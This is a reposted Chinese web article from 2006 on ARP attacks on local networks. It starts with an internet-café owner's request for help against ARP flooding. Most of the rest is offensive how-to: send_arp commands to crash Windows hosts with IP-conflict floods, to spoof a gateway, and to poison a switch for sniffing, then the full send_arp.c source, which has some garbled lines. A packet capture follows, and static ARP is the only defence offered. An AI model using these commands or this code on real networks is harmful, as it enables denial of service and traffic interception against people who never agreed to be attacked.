|
||||||||||
|
|
|||||||||
|
|
|||||||||||||||
| | 网站首页 | 局域网教程 | 软件说明书 | 局域网论坛 | | ||
 |
||
|
||
|
|||||
| 防御局域网攻击 ZT | |||||
作者：互联网 文章来源：www.98pc.com 点击数： 更新时间：2006-4-11  |
|||||
我一个朋友的网吧最近遭受一种奇怪的攻击，他网吧一共有60台机器，和另外6个网吧并在一个网段中，IP地址从192.168.0.1～192.168.0.255，大家共用CS服务器和WEB及流媒体服务器，其中一台CS服务器和流媒体服务器在他网吧里。 最近每晚和中午，他网吧客满的时候，就有人在网内对他网吧的IP段进行攻击。表现是大面积IP地址冲突，造成机器暂时停止网络响应，而且网络中的CS服务器和流媒体服务器马上停止响应。一般持续半小时以上，IP冲突的速度大约10秒一次。连续几天都是如此，造成他很大损失。 我朋友求助于我，于是我先试验了一下，证明故意修改IP的方式是无法造成服务器失去响应的，于是我在他网吧两台机器上安装了一些监测软件，试图捕捉对方的攻击数据包，然后再取得对方的MAC地址来查找攻击来源。由于主要表现是IP冲突，所以我使用commview3专门捕捉所有的ARP协议包，结果在晚上对方攻击时果然发现出现了大量有规律的ARP广播包，那些包明显是某种软件生成的，MAC地址是随机伪造的，IP地址就是他网吧的系列IP，这种包和一般开机的包不同，是pass-thourgh包，机器收到后98系统马上失去网络响应，只有等很长时间或者重起，2K系统也马上失去响应，必须点确定才能恢复，但是所有连接的用户都Time Out了。 由于包里MAC地址是伪造的，所以我无法查到来源，于是我去网上查找了一些资料，证明这是一种ARP拒绝服务攻击，但是没找到任何有效防范办法，微软也没有相应的补丁。唯一的办法除非在网络中使用路由器屏蔽ARP，用硬件存储ARP列表，但是路由器不是一个小网吧可以承担的设备。当然如果划分网段，再用网关把他和大家隔开也可以，因为ARP只在一个网段传播，但是这样别人就无法共用他们的服务器，而且破坏者也可以到他网吧来继续破坏，这也是不行的。 我又试用了各种防火墙软件，证明也无法拦住这样的攻击包，没有一个防火墙产品可以屏蔽非法的ARP包。使用天网2.5和金山网镖，甚至用断开网络选项都无法挡住攻击。 我后来在网上找到了一个叫做“……”（为防止别有用心的人用来干坏事，我略去这个软件的名字，转贴者也就是本人注）的软件，果然可以达到这个效果，证明这样的攻击软件在网上是大量存在的，大家可以去google里搜索下载这个软件。 我现在唯一能告诉他的办法就是遇到攻击就拔网线，各位高手，还有没有什么低廉方便的手段能解决这个问题啊，我朋友都急死了，再这样他的网吧就做不下去了。 请大家帮帮忙！！谢谢：） 分析: 网上关于ARP的资料已经很多了，就不用我都说了。 用某一位高手的话来说，“我们能做的事情很多，唯一受 限制的是我们的创造力和想象力”。 ARP也是如此。 以下讨论的机子有 一个要攻击的机子：10.5.4.178 硬件地址：52:54:4C:98:EE:2F 我的机子： :10.5.3.69 硬件地址：52:54:4C:98:ED:C5 网关： 10.5.0.3 硬件地址：00:90:26:3D:0C:F3 一台交换机另一端口的机子：10.5.3.3 硬件地址：52:54:4C:98:ED:F7 一：用ARP破WINDOWS的屏保 原理：利用IP冲突的级别比屏保高，当有冲突时，就会 跳出屏保。 关键：ARP包的数量适当。 [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \ 10.5.4.178 52:54:4C:98:EE:2F 40 二：用ARP导致IP冲突，死机 原理：WINDOWS 9X，NT4在处理IP冲突时，处理不过来，导致死机。 注： 对WINDOWS 2K，LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX，明显系统被拖慢。 [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \ 10.5.4.178 52:54:4C:98:EE:2F 999999999 三：用ARP欺骗网关，可导致局域网的某台机子出不了网关。 原理：用ARP应答包去刷新对应着要使之出不去的机子。 [root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \ 10.5.4.178 00:90:26:3D:0C:F3 1 注意：如果单单如上的命令，大概只能有效几秒钟，网关机子里的ARP 高速缓存会被被攻击的机子正确刷新，于是只要... 四：用ARP欺骗交换机，可监听到交换机另一端的机子。 可能需要修改一下send_arp.c,构造如下的数据包。 ethhdr srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H arphdr hwtype:1 protol:800H hw_size:6 pro_size:4 op:1 s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3 d_ha:00:00:00:00:00:00 d_ip:10.5.3.3 然后就可以sniffer了。 原理: 交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表 所以你可以先来个ARP 欺骗,然后就可以监听了 不过需要指出,欺骗以后,同一个MAC地址就有两个端口号 yuange说，“这样其实就是一个竞争问题。” 好象ARP 以后,对整个网络会有点影响,不过我不敢确定 既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。 对被监听者会有影响，因为他掉了一部分数据。 当然还有其他一些应用，需要其他技术的配合。 以下是send_arp.c的源程序 /* This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu */ #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <errno.h> #include <sys/ioctl.h> #include <net/if.h> #include <signal.h> #include <netinet/ip.h> #include <netinet/in.h> #include <string.h> #include <arpa/inet.h> #include <netinet/ip_icmp.h> #include <linux/if_ether.h> #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define OP_ARP_QUEST 1 #define DEFAULT_DEVICE "eth0" char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void die (char *); void get_ip_addr (struct in_addr *, char *); void get_hw_addr (char *, char *); int main (int argc, char * argv[]) { struct in_addr src_in_addr, targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; int j,number; if (argc != 6) die(usage); sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); if (sock < 0) { perror("socket"); exit(1); } number=atoi(argv[5]); pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op = htons(OP_ARP_QUEST); get_hw_addr(pkt.targ_hw_addr, argv[4]); get_hw_addr(pkt.rcpt_hw_addr, argv[4]); get_hw_addr(pkt.src_hw_addr, argv[2]); get_hw_addr(pkt.sndr_hw_addr, argv[2]); get_ip_addr(&src_in_addr, argv[1] get_ip_addr(&targ_in_addr, argv[3] memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); for (j=0;j<number;j++) { if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } } exit(0); } void die (char *str) { fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr (struct in_addr *in_addr, char *str) { struct hostent *hostp; in_addr->s_addr = inet_addr(str); if(in_addr->s_addr == -1) { if ((hostp = gethostbyname(str))) bcopy(hostp->h_addr, in_addr, hostp->h_length); else { fprintf(stderr, "send_arp: unknown host %s\n", str); exit(1); } } } void get_hw_addr (char *buf, char *str) { int i; char c, val; for(i = 0; i < ETH_HW_ADDR_LEN; i++) { if (!(c = tolower(*str++))) die("Invalid hardware address"); if (isdigit©) val = c - '0'; else if (c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf = val << 4; if (!(c = tolower(*str++))) die("Invalid hardware address"); if (isdigit©) val = c - '0'; else if (c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf++ |= val; if (*str == ':') str++; } } 以下是我用軟件攔下的局域網終結者的記錄﹐看來這個軟件只是根據你在攻擊軟件里面輸入的IP列表的IP及MAC地址﹐然后產生一個假的MAC地址去﹐使正在使用的網絡發生異常﹐我也試著解決這個問題﹐但目前除了靜態ARP之外﹐沒有其他更好的辦法了﹐這是采用TCP/IP協議的必然了。 但是作為網管﹐完全可以追蹤到搞破壞的人的電腦呀﹐然后把此人打成馬蜂窩﹐并送公安局﹐這種只會利用別人現在工具搞破壞的人最可誤了﹗有能力自己寫吧﹗ 下面作參考﹐但不要攻擊我呀﹐如果有錯誤﹐請大家指正﹐謝謝了﹗ 1581 89.348477 LOCAL REALTEEE1819 SMB R tree disconnect FANLI 7733797.00E04CEE1819 IPX/XNS Frame: Base frame properties Frame: Time of capture = 2002/10/23 13:48:21.616 Frame: Time delta from previous physical frame: 0 microseconds Frame: Frame number: 1581 Frame: Total frame length: 100 bytes Frame: Capture frame length: 100 bytes Frame: Frame data: Number of data bytes remaining = 100 (0x0064) ETHERNET: 802.3 Length = 100 ETHERNET: Destination address : 00E04CEE1819 ETHERNET: .......0 = Individual address ETHERNET: ......0. = Universally administered address ETHERNET: Source address : 00E04CF8B16B ETHERNET: .......0 = No routing information present ETHERNET: ......0. = Universally administered address ETHERNET: Frame Length : 100 (0x0064) ETHERNET: Data Length : 0x0056 (86) ETHERNET: Ethernet Data: Number of data bytes remaining = 86 (0x0056) LLC: UI DSAP=0xE0 SSAP=0xE0 C LLC: DSAP = 0xE0 : INDIVIDUAL : Novell IPX/SPX LLC: SSAP = 0xE0: COMMAND : Novell IPX/SPX LLC: Frame Category: Unnumbered Frame LLC: Command = UI LLC: LLC Data: Number of data bytes remaining = 83 (0x0053) IPX: NetBIOS Packet - 7733797.00E04CF8B16B.455 -> 7733797.00E04CEE1819.455 - 0 Hops IPX: Checksum = 65535 (0xFFFF) IPX: IDP Length = 83 (0x53) IPX: Transport control = 0 (0x0) IPX: Packet type = IPX IPX: Destination Address Summary 7733797.00E04CEE1819.455 IPX: Destination IPX Address = 07733797.00E04CEE1819 IPX: Destination Net Number = 124991383 (0x7733797) IPX: Destination Socket Number = NetBIOS IPX: Source Address Summary 7733797.00E04CF8B16B.455 IPX: Source IPX Address = 07733797.00E04CF8B16B IPX: Source Net Number = 124991383 (0x7733797) IPX: Source Socket Number = NetBIOS IPX: Data: Number of data bytes remaining = 53 (0x0035) NBIPX: Session Data NBIPX: Connection control flag NBIPX: 0....... = Non system packet NBIPX: .0...... = No send acknowledge NBIPX: ..0..... = No Attention NBIPX: ...1.... = End Of Message NBIPX: ....0... = No resend NBIPX: Data stream type = Session Data NBIPX: Source connection ID = 10227 (0x27F3) NBIPX: Destination connection ID = 3 (0x3) NBIPX: Send sequence number = 119 (0x77) NBIPX: Total data length = 35 (0x23) NBIPX: Offset = 0 (0x0) NBIPX: Data length = 35 (0x23) NBIPX: Receive Sequence number = 122 (0x7A) NBIPX: |
|||||
| 文章录入：wuwq 责任编辑：wuwq | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 图文教你防范“局域网终结者 主动防御入侵 安全防护功略必读—防御黑客 个人电脑防御黑客攻击的绝招 防范局域网内服务器入侵 自动防御入侵 新手学习之无线局域网协议 无线局域网实现需要的技术要 无线局域网参数设置全攻略 无线局域网的三大“变通” |
| 网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） |
| | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 | | |||||
|
